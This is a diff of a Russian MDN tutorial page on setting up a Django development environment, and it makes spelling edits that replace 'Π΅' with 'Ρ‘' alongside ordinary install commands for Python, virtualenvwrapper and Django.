+<p>Django ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ настройку собствСнного ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² состав срСды разработки, ΠΈ даётся ΠΎΠ±Π·ΠΎΡ€ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² настройки ΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ. Π’ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ установки срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Django Π½Π° Ubuntu, Mac OS X ΠΈ Windows, ΠΈ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΅Ρ‘ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<h3 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_срСда_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Django">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ срСда Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Django?</h3>
-<p>Π‘Ρ€Π΅Π΄Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ - это установка Django Π½Π° вашСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ тСстирования ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Django Π΄ΠΎ ΠΈΡ… развСртывания Π² производствСнной срСдС.<br>
+<p>Π‘Ρ€Π΅Π΄Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ - это установка Django Π½Π° вашСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ тСстирования ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Django Π΄ΠΎ ΠΈΡ… развёртывания Π² производствСнной срСдС.<br>
<br>
ΠžΡΠ½ΠΎΠ²Π½Ρ‹ΠΌΠΈ инструмСнтами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСдоставляСт сам Django, являСтся Π½Π°Π±ΠΎΡ€ скриптов Python для создания ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ Django, Π° Ρ‚Π°ΠΊΠΆΠ΅ простой Π²Π΅Π±-сСрвСр <em>Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для тСстирования Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π° Π½Π΅ Π½Π° внСшнСм Π²Π΅Π±-сСрвСрС) Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Django Π½Π° Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ вашСго ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°.<br>
<br>
@@ -81,7 +81,7 @@ translation_of: Learn/Server-side/Django/development_environment
<p>Django ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ 4 основных Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (PostgreSQL, MySQL, Oracle ΠΈ SQLite), Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ ΡƒΡ€ΠΎΠ²Π½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… SQL ΠΈ NoSQL Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ…. ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ Π²Π°ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ Π‘Π” для ΠΎΠ±Π΅ΠΈΡ… Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ ΠΈ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ срСд (нСсмотря Π½Π°Β Β Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Django Π½ΠΈΠ²Π΅Π»ΠΈΡ€ΡƒΠ΅Ρ‚ мноТСство Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Object-Relational Mapper (ORM), всС Ρ€Π°Π²Π½ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ <a href="https://docs.djangoproject.com/en/2.0/ref/databases/">ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ.</p>
-<p>Для Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ (ΠΈ большСй части модуля) ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… <em>SQLite</em>, которая сохраняСт свои Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„Π°ΠΉΠ».Β SQLite ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π² качСствС ΠΎΠ±Π»Π΅Π³Ρ‡Π΅Π½Π½ΠΎΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ высокий ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΠΈΠ·ΠΌΠ°. Π­Ρ‚ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ Π²Ρ‹Π±ΠΎΡ€ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² основном ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния.</p>
+<p>Для Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ (ΠΈ большСй части модуля) ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… <em>SQLite</em>, которая сохраняСт свои Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„Π°ΠΉΠ».Β SQLite ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π² качСствС ΠΎΠ±Π»Π΅Π³Ρ‡Ρ‘Π½Π½ΠΎΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ высокий ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΠΈΠ·ΠΌΠ°. Π­Ρ‚ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ Π²Ρ‹Π±ΠΎΡ€ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² основном ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>:Β Django сконфигурирован для использования SQLite ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΏΡ€ΠΈ создании вашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° с использованиСм стандартных инструмСнтов (django-admin). Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ Π²Ρ‹Π±ΠΎΡ€ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ настройки.</p>
@@ -166,7 +166,7 @@ translation_of: Learn/Server-side/Django/development_environment
<li>УстановитС Python, Π΄Π²Π°ΠΆΠ΄Ρ‹ ΠΊΠ»ΠΈΠΊΠ½ΡƒΠ² Π½Π° скачанный Ρ„Π°ΠΉΠ» ΠΈ слСдуя инструкциям ΠΏΠΎ установкС.</li>
</ol>
-<p>ПослС этого Π²Ρ‹ смоТСтС ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΡƒΡŽ установку Python ΠΏΡƒΡ‚Π΅ΠΌ выполнСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ тСкста Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС:</p>
+<p>ПослС этого Π²Ρ‹ смоТСтС ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΡƒΡŽ установку Python ΠΏΡƒΡ‚Ρ‘ΠΌ выполнСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ тСкста Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС:</p>
<pre class="notranslate">py -3 -V
Python 3.5.2
@@ -183,7 +183,7 @@ translation_of: Learn/Server-side/Django/development_environment
<h2 id="ИспользованиС_Django_Π²Π½ΡƒΡ‚Ρ€ΠΈ_Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ_срСды_Python">ИспользованиС Django Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСды Python</h2>
-<p>Для создания Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… срСд ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΒ <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a>Β (Linux ΠΈ macOS X) ΠΈΒ <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a>Β (Windows), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΠ±Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ инструмСнт <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ прСдоставляСт совмСстимый интСрфСйс для управлСния интСрфСйсами Π½Π° всСх ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
+<p>Для создания Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… срСд ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΒ <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a>Β (Linux ΠΈ macOS X) ΠΈΒ <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a>Β (Windows), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΠ±Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ инструмСнт <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ прСдоставляСт совмСстимый интСрфСйс для управлСния интСрфСйсами Π½Π° всСх ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
<h3 id="Установка_ПО_Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ_срСды">Установка ПО Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСды</h3>
@@ -260,7 +260,7 @@ nano .bash_profile # Open the file in the nano text editor, within the terminal
</pre>
</div>
-<p>ПослС этого ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΡƒΡ‚Π΅ΠΌ выполнСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅:</p>
+<p>ПослС этого ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ выполнСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅:</p>
<pre class="notranslate"><code>source ~/.bash_profile</code>
</pre>
@@ -271,7 +271,7 @@ nano .bash_profile # Open the file in the nano text editor, within the terminal
<h4 id="Установка_Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ_срСды_для_Windows_10">Установка Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСды для Windows 10</h4>
-<p>Установка <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a>Β Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ проста, Ρ‡Π΅ΠΌ установка <em>virtualenvwrapper</em>,Β ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ располоТСния сохранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСдС инструмСнтом (эти значСния Π·Π°Π΄Π°Π½Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ). ВсС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС:</p>
+<p>Установка <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a>Β Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ проста, Ρ‡Π΅ΠΌ установка <em>virtualenvwrapper</em>,Β ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ располоТСния сохранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСдС инструмСнтом (эти значСния Π·Π°Π΄Π°Π½Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ). ВсС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС:</p>
<pre class="notranslate"><code>pip3 install virtualenvwrapper-win</code></pre>
@@ -296,7 +296,7 @@ virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get
<h3 id="ИспользованиС_Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ_срСды">ИспользованиС Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСды</h3>
-<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Π΅ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΊΠΎΠΌΠ°Π½Π΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ слСдуСт Π·Π½Π°Ρ‚ΡŒ (Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΠΎ инструмСнту ΠΈΡ… Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС, Π½ΠΎ эти Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ рСгулярно):</p>
+<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΊΠΎΠΌΠ°Π½Π΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ слСдуСт Π·Π½Π°Ρ‚ΡŒ (Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΠΎ инструмСнту ΠΈΡ… Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС, Π½ΠΎ эти Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ рСгулярно):</p>
<ul>
<li><code>deactivate</code>Β β€” Π’Ρ‹Ρ…ΠΎΠ΄ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСды Python</li>
@@ -307,7 +307,7 @@ virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get
<h2 id="Установка_Django">Установка Django</h2>
-<p>ПослС создания Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСды ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Β <code>workon</code> для Π²Ρ…ΠΎΠ΄Π° Π² Π½Π΅Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <em>pip3Β </em>для установки Django.Β </p>
+<p>ПослС создания Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ срСды ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Β <code>workon</code> для Π²Ρ…ΠΎΠ΄Π° Π² Π½Π΅Ρ‘ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <em>pip3Β </em>для установки Django.Β </p>
<pre class="notranslate">pip3 install django
</pre>
@@ -333,13 +333,13 @@ py -3 -m django --version
<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_вашСй_установки">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° вашСй установки</h2>
-<p>Указанная Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π½ΠΎ Π½Π΅ прСдставляСт особого интСрСса.Π‘ΠΎΠ»Π΅Π΅ интСрСсная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² создании шаблона ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Для Π΅Π΅ выполнСния ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС/Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅Β Π² мСсто, Π³Π΄Π΅ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ прилоТСния Django. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ для тСста ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Π΅.</p>
+<p>Указанная Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π½ΠΎ Π½Π΅ прСдставляСт особого интСрСса.Π‘ΠΎΠ»Π΅Π΅ интСрСсная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² создании шаблона ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Для Π΅Ρ‘ выполнСния ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС/Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅Β Π² мСсто, Π³Π΄Π΅ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ прилоТСния Django. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ для тСста ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Π΅.</p>
<pre class="notranslate">mkdir django_test
cd django_test
</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ шаблон сайта "<em>mytestsite</em>" ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ инструмСнта <strong>django-admin</strong>. ПослС создания сайта Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² ΠΏΠ°ΠΏΠΊΡƒ,Β Π³Π΄Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ основной скрипт для управлСния ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <strong>manage.py</strong>.</p>
